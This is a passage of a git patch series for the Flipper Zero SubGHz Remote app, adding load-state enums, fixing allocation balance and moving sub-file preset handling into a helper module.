FURI_LOG_E(TAG, "Unable Repeat"); + break; + } + sub_preset_loaded = true; ret |= true; #if FURI_DEBUG From e295c7aac250dda004f4a6f19a2d09232901d715 Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Fri, 19 May 2023 22:59:43 +0300 Subject: [PATCH 011/100] Load states & fix label length --- .../subghz_remote_new/helpers/subrem_types.h | 15 +++++ .../scenes/subrem_scene_openmapfile.c | 2 +- .../scenes/subrem_scene_start.c | 6 +- .../subghz_remote_new/subghz_remote_app_i.c | 55 ++++++++++++------- .../subghz_remote_new/subghz_remote_app_i.h | 3 +- .../external/subghz_remote_new/views/remote.c | 2 +- 6 files changed, 57 insertions(+), 26 deletions(-) diff --git a/applications/external/subghz_remote_new/helpers/subrem_types.h b/applications/external/subghz_remote_new/helpers/subrem_types.h index 1b99aac6d..13b42897f 100644 --- a/applications/external/subghz_remote_new/helpers/subrem_types.h +++ b/applications/external/subghz_remote_new/helpers/subrem_types.h @@ -25,8 +25,23 @@ typedef enum { SubRemViewIDRemote, } SubRemViewID; +typedef enum { + SubRemLoadSubStateNotSet, + SubRemLoadSubStatePreloaded, + SubRemLoadSubStateError, + SubRemLoadSubStateErrorNoFile, + SubRemLoadSubStateErrorFreq, + SubRemLoadSubStateErrorMod, + SubRemLoadSubStateErrorProtocol, + SubRemLoadSubStateOK, +} SubRemLoadSubState; + typedef enum { SubRemLoadMapStateBack = 0, SubRemLoadMapStateError, + SubRemLoadMapStateErrorOpenError, + SubRemLoadMapStateErrorStorage, + SubRemLoadMapStateErrorBrokenFile, + SubRemLoadMapStateNotAllOK, SubRemLoadMapStateOK, } SubRemLoadMapState; \ No newline at end of file diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c index 3391845e1..ea5c14a0a 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c @@ -18,7 +18,7 @@ void subrem_scene_openmapfile_on_enter(void* context) { dialog_message_free(message); #endif } - if(load_state == SubRemLoadMapStateOK) { + if(load_state == SubRemLoadMapStateOK || load_state == SubRemLoadMapStateNotAllOK) { scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); } else { // TODO: Map Preset Reset diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_start.c b/applications/external/subghz_remote_new/scenes/subrem_scene_start.c index 962eda54c..a4bfa5047 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_start.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_start.c @@ -34,8 +34,10 @@ void subrem_scene_start_on_enter(void* context) { // subrem_scene_start_submenu_callback, // app); - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, SubRemSceneStart)); + // TODO: set scene state in subrem alloc + // submenu_set_selected_item( + // submenu, scene_manager_get_scene_state(app->scene_manager, SubRemSceneStart)); + submenu_set_selected_item(submenu, SubmenuIndexSubRemOpenMapFile); view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewSubmenu); } diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_new/subghz_remote_app_i.c index 18ebb05f6..4f5065b07 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.c +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.c @@ -51,6 +51,7 @@ SubRemSubFilePreset* subrem_sub_file_preset_alloc() { sub_preset->label = furi_string_alloc_set_str("N/A"); sub_preset->type = SubGhzProtocolTypeUnknown; + sub_preset->load_state = SubRemLoadSubStateNotSet; return sub_preset; } @@ -77,6 +78,7 @@ static void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset) { stream_clean(fff_data_stream); sub_preset->type = SubGhzProtocolTypeUnknown; + sub_preset->load_state = SubRemLoadSubStateNotSet; } void subrem_map_preset_reset(SubGhzRemoteApp* app) { @@ -108,6 +110,7 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data #endif path_extract_filename(sub_preset->file_path, sub_preset->label, true); } else { + // Preload seccesful FURI_LOG_I( TAG, "%-5s: %s %s", @@ -115,6 +118,7 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data furi_string_get_cstr(sub_preset->label), furi_string_get_cstr(sub_preset->file_path)); ret = true; + sub_preset->load_state = SubRemLoadSubStatePreloaded; } flipper_format_rewind(fff_data_file); } @@ -268,21 +272,23 @@ bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { return false; } -static bool subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { +static SubRemLoadMapState + subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { furi_assert(app); FuriString* temp_str = furi_string_alloc(); uint32_t temp_data32; - bool ret = false; - bool sub_preset_loaded = false; + bool all_loaded = true; + SubRemLoadMapState ret = SubRemLoadMapStateErrorBrokenFile; + SubRemLoadSubState sub_preset_loaded; SubRemSubFilePreset* sub_preset; uint32_t repeat = 200; for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { sub_preset = app->subs_preset[i]; - sub_preset_loaded = false; if(furi_string_empty(sub_preset->file_path)) { // FURI_LOG_I(TAG, "Empty file path"); continue; } + sub_preset_loaded = SubRemLoadSubStateErrorNoFile; repeat = 200; do { if(!flipper_format_file_open_existing( @@ -305,6 +311,7 @@ static bool subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_dat } //Load frequency + sub_preset_loaded = SubRemLoadSubStateErrorFreq; if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) { FURI_LOG_W(TAG, "Cannot read frequency. Set default frequency"); sub_preset->freq_preset.frequency = @@ -317,6 +324,7 @@ static bool subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_dat } //Load preset + sub_preset_loaded = SubRemLoadSubStateErrorMod; if(!flipper_format_read_string(fff_data_file, "Preset", temp_str)) { FURI_LOG_E(TAG, "Missing Preset"); break; @@ -329,6 +337,7 @@ static bool subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_dat } //Load protocol + sub_preset_loaded = SubRemLoadSubStateErrorProtocol; if(!flipper_format_read_string(fff_data_file, "Protocol", temp_str)) { FURI_LOG_E(TAG, "Missing Protocol"); break; @@ -375,8 +384,8 @@ static bool subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_dat break; } - sub_preset_loaded = true; - ret |= true; + sub_preset_loaded = SubRemLoadSubStateOK; + ret = SubRemLoadMapStateNotAllOK; #if FURI_DEBUG FURI_LOG_I(TAG, "%-16s - protocol Loaded", furi_string_get_cstr(sub_preset->label)); #endif @@ -385,9 +394,15 @@ static bool subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_dat // TODO: // Load file state logic // Label depending on the state + // Move to remote scene - if(!sub_preset_loaded) { + if(sub_preset_loaded != SubRemLoadSubStateOK) { furi_string_set_str(sub_preset->label, "N/A"); + all_loaded = false; + } + + if(ret != SubRemLoadMapStateErrorBrokenFile && all_loaded) { + ret = SubRemLoadMapStateOK; } flipper_format_file_close(fff_data_file); @@ -397,7 +412,7 @@ static bool subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_dat return ret; } -bool subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { +SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { furi_assert(app); furi_assert(file_path); #if FURI_DEBUG @@ -405,7 +420,7 @@ bool subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { #endif Storage* storage = furi_record_open(RECORD_STORAGE); FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - bool ret = false; + SubRemLoadMapState ret = SubRemLoadMapStateErrorOpenError; #if FURI_DEBUG FURI_LOG_I(TAG, "Open Map File.."); #endif @@ -413,20 +428,23 @@ bool subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { if(!flipper_format_file_open_existing(fff_data_file, file_path)) { FURI_LOG_E(TAG, "Could not open MAP file %s", file_path); + ret = SubRemLoadMapStateErrorOpenError; } else { if(!subrem_map_preset_load(app, fff_data_file)) { FURI_LOG_E(TAG, "Could no Sub file path in MAP file"); // ret = // error for popup - } else if( - (flipper_format_file_close(fff_data_file)) && - (subrem_map_preset_check(app, fff_data_file))) { - FURI_LOG_I(TAG, "Load Map File Seccesful"); - ret = true; + } else if(!flipper_format_file_close(fff_data_file)) { + ret = SubRemLoadMapStateErrorOpenError; + } else { + ret = subrem_map_preset_check(app, fff_data_file); } } - // TODO: Popup for error or return error type - if(!ret) { + if(ret == SubRemLoadMapStateOK) { + FURI_LOG_I(TAG, "Load Map File Seccesful"); + } else if(ret == SubRemLoadMapStateNotAllOK) { + FURI_LOG_I(TAG, "Load Map File Seccesful [Not all files]"); + } else { FURI_LOG_E(TAG, "Broken Map File"); } @@ -434,7 +452,6 @@ bool subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { flipper_format_free(fff_data_file); furi_record_close(RECORD_STORAGE); - return ret; } @@ -450,10 +467,8 @@ SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app) { // Input events and views are managed by file_select if(!dialog_file_browser_show(app->dialogs, app->file_path, app->file_path, &browser_options)) { - } else if(subrem_map_file_load(app, furi_string_get_cstr(app->file_path))) { - ret = SubRemLoadMapStateOK; } else { - ret = SubRemLoadMapStateError; + ret = subrem_map_file_load(app, furi_string_get_cstr(app->file_path)); } furi_string_free(file_path); diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.h b/applications/external/subghz_remote_new/subghz_remote_app_i.h index 0cff3898a..06abe659c 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.h +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.h @@ -44,6 +44,7 @@ typedef struct { FuriString* protocaol_name; FuriString* label; SubGhzProtocolType type; + SubRemLoadSubState load_state; } SubRemSubFilePreset; SubRemSubFilePreset* subrem_sub_file_preset_alloc(); @@ -72,8 +73,6 @@ typedef struct { bool tx_running; uint8_t chusen_sub; - - // TODO: LoadFileError } SubGhzRemoteApp; SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app); diff --git a/applications/external/subghz_remote_new/views/remote.c b/applications/external/subghz_remote_new/views/remote.c index 85c63568e..1f867cd0b 100644 --- a/applications/external/subghz_remote_new/views/remote.c +++ b/applications/external/subghz_remote_new/views/remote.c @@ -4,7 +4,7 @@ #include #include -#define SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH 16 +#define SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH 12 struct SubRemViewRemote { View* view; From 561b54ce361c9627cb968f48bf2c3cab5c205b23 Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Sat, 20 May 2023 09:38:44 +0300 Subject: [PATCH 012/100] SubGHz App: alloc balance --- applications/main/subghz/scenes/subghz_scene_decode_raw.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/applications/main/subghz/scenes/subghz_scene_decode_raw.c b/applications/main/subghz/scenes/subghz_scene_decode_raw.c index e88da3749..102965df5 100644 --- a/applications/main/subghz/scenes/subghz_scene_decode_raw.c +++ b/applications/main/subghz/scenes/subghz_scene_decode_raw.c @@ -179,11 +179,12 @@ void subghz_scene_decode_raw_on_enter(void* context) { furi_string_get_cstr(item_time), subghz_history_get_type_protocol(subghz->history, i)); } - furi_string_free(item_name); - furi_string_free(item_time); subghz_view_receiver_set_idx_menu(subghz->subghz_receiver, subghz->idx_menu_chosen); } + furi_string_free(item_name); + furi_string_free(item_time); + subghz_scene_receiver_update_statusbar(subghz); view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdReceiver); From 47b1cadbb66f00cfdb2f9d7fd63896fa2ca1b20f Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Sat, 20 May 2023 15:05:26 +0300 Subject: [PATCH 013/100] fix alloc balance --- applications/main/subghz_remote/subghz_remote_app.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/applications/main/subghz_remote/subghz_remote_app.c b/applications/main/subghz_remote/subghz_remote_app.c index 0b3f645ab..b957fb8bc 100644 --- a/applications/main/subghz_remote/subghz_remote_app.c +++ b/applications/main/subghz_remote/subghz_remote_app.c @@ -42,6 +42,7 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { // View Dispatcher app->view_dispatcher = view_dispatcher_alloc(); + app->scene_manager = scene_manager_alloc(&subrem_scene_handlers, app); view_dispatcher_enable_queue(app->view_dispatcher); @@ -127,6 +128,9 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { view_dispatcher_remove_view(app->view_dispatcher, SubRemViewIDRemote); subrem_view_remote_free(app->subrem_remote_view); + scene_manager_free(app->scene_manager); + view_dispatcher_free(app->view_dispatcher); + subghz_receiver_free(app->receiver); subghz_environment_free(app->environment); subghz_setting_free(app->setting); From b11b0a4911c7fbde841197562bea464b52f47eba Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Sat, 20 May 2023 15:05:26 +0300 Subject: [PATCH 014/100] udp --- applications/external/subghz_remote_new/subghz_remote_app.c | 4 ++++ applications/external/subghz_remote_new/subghz_remote_app_i.c | 3 +++ 2 files changed, 7 insertions(+) diff --git a/applications/external/subghz_remote_new/subghz_remote_app.c b/applications/external/subghz_remote_new/subghz_remote_app.c index 0b3f645ab..b957fb8bc 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app.c +++ b/applications/external/subghz_remote_new/subghz_remote_app.c @@ -42,6 +42,7 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { // View Dispatcher app->view_dispatcher = view_dispatcher_alloc(); + app->scene_manager = scene_manager_alloc(&subrem_scene_handlers, app); view_dispatcher_enable_queue(app->view_dispatcher); @@ -127,6 +128,9 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { view_dispatcher_remove_view(app->view_dispatcher, SubRemViewIDRemote); subrem_view_remote_free(app->subrem_remote_view); + scene_manager_free(app->scene_manager); + view_dispatcher_free(app->view_dispatcher); + subghz_receiver_free(app->receiver); subghz_environment_free(app->environment); subghz_setting_free(app->setting); diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_new/subghz_remote_app_i.c index 4f5065b07..adc221941 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.c +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.c @@ -288,7 +288,9 @@ static SubRemLoadMapState // FURI_LOG_I(TAG, "Empty file path"); continue; } + sub_preset_loaded = SubRemLoadSubStateErrorNoFile; + repeat = 200; do { if(!flipper_format_file_open_existing( @@ -386,6 +388,7 @@ static SubRemLoadMapState sub_preset_loaded = SubRemLoadSubStateOK; ret = SubRemLoadMapStateNotAllOK; + #if FURI_DEBUG FURI_LOG_I(TAG, "%-16s - protocol Loaded", furi_string_get_cstr(sub_preset->label)); #endif From 26bcebd5758176c969b49dd17fbefcbf6248a58f Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Sun, 21 May 2023 10:29:58 +0300 Subject: [PATCH 015/100] move part of preset --- .../subghz_remote/helpers/subrem_presets.c | 40 ++ .../subghz_remote/helpers/subrem_presets.h | 27 ++ .../scenes/subrem_scene_remote.c | 12 +- .../main/subghz_remote/subghz_remote_app.c | 6 +- .../main/subghz_remote/subghz_remote_app_i.c | 345 ++++++++---------- .../main/subghz_remote/subghz_remote_app_i.h | 28 +- 6 files changed, 237 insertions(+), 221 deletions(-) create mode 100644 applications/main/subghz_remote/helpers/subrem_presets.c create mode 100644 applications/main/subghz_remote/helpers/subrem_presets.h diff --git a/applications/main/subghz_remote/helpers/subrem_presets.c b/applications/main/subghz_remote/helpers/subrem_presets.c new file mode 100644 index 000000000..03e497198 --- /dev/null +++ b/applications/main/subghz_remote/helpers/subrem_presets.c @@ -0,0 +1,40 @@ +#include "subrem_presets.h" + +SubRemSubFilePreset* subrem_sub_file_preset_alloc() { + SubRemSubFilePreset* sub_preset = malloc(sizeof(SubRemSubFilePreset)); + + sub_preset->fff_data = flipper_format_string_alloc(); + sub_preset->file_path = furi_string_alloc(); + sub_preset->protocaol_name = furi_string_alloc(); + sub_preset->label = furi_string_alloc_set_str("N/A"); + + sub_preset->type = SubGhzProtocolTypeUnknown; + sub_preset->load_state = SubRemLoadSubStateNotSet; + + return sub_preset; +} + +void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset) { + furi_assert(sub_preset); + + furi_string_free(sub_preset->label); + furi_string_free(sub_preset->protocaol_name); + furi_string_free(sub_preset->file_path); + flipper_format_free(sub_preset->fff_data); + + free(sub_preset); +} + +void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset) { + furi_assert(sub_preset); + + furi_string_set_str(sub_preset->label, "N/A"); + furi_string_reset(sub_preset->protocaol_name); + furi_string_reset(sub_preset->file_path); + + Stream* fff_data_stream = flipper_format_get_raw_stream(sub_preset->fff_data); + stream_clean(fff_data_stream); + + sub_preset->type = SubGhzProtocolTypeUnknown; + sub_preset->load_state = SubRemLoadSubStateNotSet; +} diff --git a/applications/main/subghz_remote/helpers/subrem_presets.h b/applications/main/subghz_remote/helpers/subrem_presets.h new file mode 100644 index 000000000..60eedad57 --- /dev/null +++ b/applications/main/subghz_remote/helpers/subrem_presets.h @@ -0,0 +1,27 @@ +#pragma once + +#include "subrem_types.h" +#include +#include + +typedef struct { + uint32_t frequency; + uint8_t* data; +} FreqPreset; + +// Sub File preset +typedef struct { + FlipperFormat* fff_data; + FreqPreset freq_preset; + FuriString* file_path; + FuriString* protocaol_name; + FuriString* label; + SubGhzProtocolType type; + SubRemLoadSubState load_state; +} SubRemSubFilePreset; + +SubRemSubFilePreset* subrem_sub_file_preset_alloc(); + +void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset); + +void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset); diff --git a/applications/main/subghz_remote/scenes/subrem_scene_remote.c b/applications/main/subghz_remote/scenes/subrem_scene_remote.c index c24583233..1b8dbc471 100644 --- a/applications/main/subghz_remote/scenes/subrem_scene_remote.c +++ b/applications/main/subghz_remote/scenes/subrem_scene_remote.c @@ -41,11 +41,11 @@ static bool subrem_scene_remote_update_data_show(void* context) { subrem_view_remote_add_data_to_show( app->subrem_remote_view, - furi_string_get_cstr(app->subs_preset[0]->label), - furi_string_get_cstr(app->subs_preset[1]->label), - furi_string_get_cstr(app->subs_preset[2]->label), - furi_string_get_cstr(app->subs_preset[3]->label), - furi_string_get_cstr(app->subs_preset[4]->label)); + furi_string_get_cstr(app->map_preset->subs_preset[0]->label), + furi_string_get_cstr(app->map_preset->subs_preset[1]->label), + furi_string_get_cstr(app->map_preset->subs_preset[2]->label), + furi_string_get_cstr(app->map_preset->subs_preset[3]->label), + furi_string_get_cstr(app->map_preset->subs_preset[4]->label)); return ret; } @@ -85,7 +85,7 @@ bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateLoading); if(subrem_tx_start_sub( app, - app->subs_preset[app->chusen_sub], + app->map_preset->subs_preset[app->chusen_sub], subrem_scene_remote_raw_callback_end_tx)) { subrem_view_remote_set_presed_btn(app->subrem_remote_view, app->chusen_sub); subrem_view_remote_set_state( diff --git a/applications/main/subghz_remote/subghz_remote_app.c b/applications/main/subghz_remote/subghz_remote_app.c index b957fb8bc..4f9138e2a 100644 --- a/applications/main/subghz_remote/subghz_remote_app.c +++ b/applications/main/subghz_remote/subghz_remote_app.c @@ -74,8 +74,9 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { SubRemViewIDRemote, subrem_view_remote_get_view(app->subrem_remote_view)); + app->map_preset = malloc(sizeof(SubRemMapPreset)); for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - app->subs_preset[i] = subrem_sub_file_preset_alloc(); + app->map_preset->subs_preset[i] = subrem_sub_file_preset_alloc(); } app->setting = subghz_setting_alloc(); @@ -136,8 +137,9 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { subghz_setting_free(app->setting); for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - subrem_sub_file_preset_free(app->subs_preset[i]); + subrem_sub_file_preset_free(app->map_preset->subs_preset[i]); } + free(app->map_preset); // Notifications furi_record_close(RECORD_NOTIFICATION); diff --git a/applications/main/subghz_remote/subghz_remote_app_i.c b/applications/main/subghz_remote/subghz_remote_app_i.c index 349fb87cd..9c35a0e03 100644 --- a/applications/main/subghz_remote/subghz_remote_app_i.c +++ b/applications/main/subghz_remote/subghz_remote_app_i.c @@ -42,50 +42,11 @@ static bool return true; } -SubRemSubFilePreset* subrem_sub_file_preset_alloc() { - SubRemSubFilePreset* sub_preset = malloc(sizeof(SubRemSubFilePreset)); - - sub_preset->fff_data = flipper_format_string_alloc(); - sub_preset->file_path = furi_string_alloc(); - sub_preset->protocaol_name = furi_string_alloc(); - sub_preset->label = furi_string_alloc_set_str("N/A"); - - sub_preset->type = SubGhzProtocolTypeUnknown; - sub_preset->load_state = SubRemLoadSubStateNotSet; - - return sub_preset; -} - -void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset) { - furi_assert(sub_preset); - - furi_string_free(sub_preset->label); - furi_string_free(sub_preset->protocaol_name); - furi_string_free(sub_preset->file_path); - flipper_format_free(sub_preset->fff_data); - - free(sub_preset); -} - -static void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset) { - furi_assert(sub_preset); - - furi_string_set_str(sub_preset->label, "N/A"); - furi_string_reset(sub_preset->protocaol_name); - furi_string_reset(sub_preset->file_path); - - Stream* fff_data_stream = flipper_format_get_raw_stream(sub_preset->fff_data); - stream_clean(fff_data_stream); - - sub_preset->type = SubGhzProtocolTypeUnknown; - sub_preset->load_state = SubRemLoadSubStateNotSet; -} - -void subrem_map_preset_reset(SubGhzRemoteApp* app) { - furi_assert(app); +void subrem_map_preset_reset(SubRemMapPreset* map_preset) { + furi_assert(map_preset); for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - subrem_sub_file_preset_reset(app->subs_preset[i]); + subrem_sub_file_preset_reset(map_preset->subs_preset[i]); } } @@ -94,7 +55,7 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data bool ret = false; SubRemSubFilePreset* sub_preset; for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - sub_preset = app->subs_preset[i]; + sub_preset = app->map_preset->subs_preset[i]; if(!flipper_format_read_string( fff_data_file, map_file_labels[i][0], sub_preset->file_path)) { #if FURI_DEBUG @@ -125,153 +86,6 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data return ret; } -bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev_file_name) { - furi_assert(flipper_format); - furi_assert(dev_file_name); - - Storage* storage = furi_record_open(RECORD_STORAGE); - Stream* flipper_format_stream = flipper_format_get_raw_stream(flipper_format); - - bool saved = false; - uint32_t repeat = 200; - FuriString* file_dir = furi_string_alloc(); - - path_extract_dirname(dev_file_name, file_dir); - do { - // removing additional fields - flipper_format_delete_key(flipper_format, "Repeat"); - // flipper_format_delete_key(flipper_format, "Manufacture"); - - if(!storage_simply_remove(storage, dev_file_name)) { - break; - } - - //ToDo check Write - stream_seek(flipper_format_stream, 0, StreamOffsetFromStart); - stream_save_to_file(flipper_format_stream, storage, dev_file_name, FSOM_CREATE_ALWAYS); - - if(!flipper_format_insert_or_update_uint32(flipper_format, "Repeat", &repeat, 1)) { - FURI_LOG_E(TAG, "Unable Repeat"); - break; - } - - saved = true; - } while(0); - - furi_string_free(file_dir); - furi_record_close(RECORD_STORAGE); - return saved; -} - -bool subrem_tx_start_sub( - SubGhzRemoteApp* app, - SubRemSubFilePreset* sub_preset, - SubGhzProtocolEncoderRAWCallbackEnd callback) { - furi_assert(app); - furi_assert(sub_preset); - bool ret = false; - - subrem_tx_stop_sub(app, true); - - if(sub_preset->type == SubGhzProtocolTypeUnknown) { - return false; - } - - FURI_LOG_I(TAG, "Send %s", furi_string_get_cstr(sub_preset->label)); - - subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK); - keeloq_reset_original_btn(); - subghz_custom_btns_reset(); - - do { - flipper_format_rewind(sub_preset->fff_data); // - - app->transmitter = subghz_transmitter_alloc_init( - app->environment, furi_string_get_cstr(sub_preset->protocaol_name)); - - if(app->transmitter) { - if(subghz_transmitter_deserialize(app->transmitter, sub_preset->fff_data) != - SubGhzProtocolStatusOk) { - FURI_LOG_E(TAG, "Deserialize error!"); - break; - } - furi_hal_subghz_reset(); - furi_hal_subghz_idle(); - furi_hal_subghz_load_custom_preset(sub_preset->freq_preset.data); - furi_hal_gpio_init( - furi_hal_subghz.cc1101_g0_pin, GpioModeInput, GpioPullNo, GpioSpeedLow); - - furi_hal_subghz_idle(); - - furi_hal_subghz_set_frequency_and_path(sub_preset->freq_preset.frequency); - furi_hal_gpio_write(furi_hal_subghz.cc1101_g0_pin, false); - furi_hal_gpio_init( - furi_hal_subghz.cc1101_g0_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow); - - if(!furi_hal_subghz_tx()) { - FURI_LOG_E(TAG, "Sending not allowed"); - break; - } - - if(sub_preset->type == SubGhzProtocolTypeRAW) { - subghz_protocol_raw_file_encoder_worker_set_callback_end( - (SubGhzProtocolEncoderRAW*)subghz_transmitter_get_protocol_instance( - app->transmitter), - callback, - app); - } - - furi_hal_subghz_start_async_tx(subghz_transmitter_yield, app->transmitter); - - ret = true; - } - } while(false); - - app->tx_running = ret; - - return ret; -} - -static void subghz_tx_stop(SubGhzRemoteApp* app) { - furi_assert(app); - - //Stop TX - furi_hal_subghz_stop_async_tx(); - - subghz_transmitter_stop(app->transmitter); - subghz_transmitter_free(app->transmitter); - furi_hal_subghz_idle(); -} - -bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { - furi_assert(app); - SubRemSubFilePreset* sub_preset = app->subs_preset[app->chusen_sub]; - - if(forced || (sub_preset->type != SubGhzProtocolTypeRAW)) { - // SubRemSubKeyTypeRawKey)) { - if(app->tx_running) { - subghz_tx_stop(app); - - if(sub_preset->type == SubGhzProtocolTypeDynamic) { - subrem_save_protocol_to_file( - sub_preset->fff_data, furi_string_get_cstr(sub_preset->file_path)); - - keeloq_reset_mfname(); - keeloq_reset_kl_type(); - keeloq_reset_original_btn(); - subghz_custom_btns_reset(); - star_line_reset_mfname(); - star_line_reset_kl_type(); - } - - app->tx_running = false; - return true; - } - } - - return false; -} - static SubRemLoadMapState subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { furi_assert(app); @@ -283,7 +97,7 @@ static SubRemLoadMapState SubRemSubFilePreset* sub_preset; uint32_t repeat = 200; for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - sub_preset = app->subs_preset[i]; + sub_preset = app->map_preset->subs_preset[i]; if(furi_string_empty(sub_preset->file_path)) { // FURI_LOG_I(TAG, "Empty file path"); continue; @@ -427,7 +241,7 @@ SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_p #if FURI_DEBUG FURI_LOG_I(TAG, "Open Map File.."); #endif - subrem_map_preset_reset(app); + subrem_map_preset_reset(app->map_preset); if(!flipper_format_file_open_existing(fff_data_file, file_path)) { FURI_LOG_E(TAG, "Could not open MAP file %s", file_path); @@ -458,6 +272,153 @@ SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_p return ret; } +bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev_file_name) { + furi_assert(flipper_format); + furi_assert(dev_file_name); + + Storage* storage = furi_record_open(RECORD_STORAGE); + Stream* flipper_format_stream = flipper_format_get_raw_stream(flipper_format); + + bool saved = false; + uint32_t repeat = 200; + FuriString* file_dir = furi_string_alloc(); + + path_extract_dirname(dev_file_name, file_dir); + do { + // removing additional fields + flipper_format_delete_key(flipper_format, "Repeat"); + // flipper_format_delete_key(flipper_format, "Manufacture"); + + if(!storage_simply_remove(storage, dev_file_name)) { + break; + } + + //ToDo check Write + stream_seek(flipper_format_stream, 0, StreamOffsetFromStart); + stream_save_to_file(flipper_format_stream, storage, dev_file_name, FSOM_CREATE_ALWAYS); + + if(!flipper_format_insert_or_update_uint32(flipper_format, "Repeat", &repeat, 1)) { + FURI_LOG_E(TAG, "Unable Repeat"); + break; + } + + saved = true; + } while(0); + + furi_string_free(file_dir); + furi_record_close(RECORD_STORAGE); + return saved; +} + +bool subrem_tx_start_sub( + SubGhzRemoteApp* app, + SubRemSubFilePreset* sub_preset, + SubGhzProtocolEncoderRAWCallbackEnd callback) { + furi_assert(app); + furi_assert(sub_preset); + bool ret = false; + + subrem_tx_stop_sub(app, true); + + if(sub_preset->type == SubGhzProtocolTypeUnknown) { + return false; + } + + FURI_LOG_I(TAG, "Send %s", furi_string_get_cstr(sub_preset->label)); + + subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK); + keeloq_reset_original_btn(); + subghz_custom_btns_reset(); + + do { + flipper_format_rewind(sub_preset->fff_data); // + + app->transmitter = subghz_transmitter_alloc_init( + app->environment, furi_string_get_cstr(sub_preset->protocaol_name)); + + if(app->transmitter) { + if(subghz_transmitter_deserialize(app->transmitter, sub_preset->fff_data) != + SubGhzProtocolStatusOk) { + FURI_LOG_E(TAG, "Deserialize error!"); + break; + } + 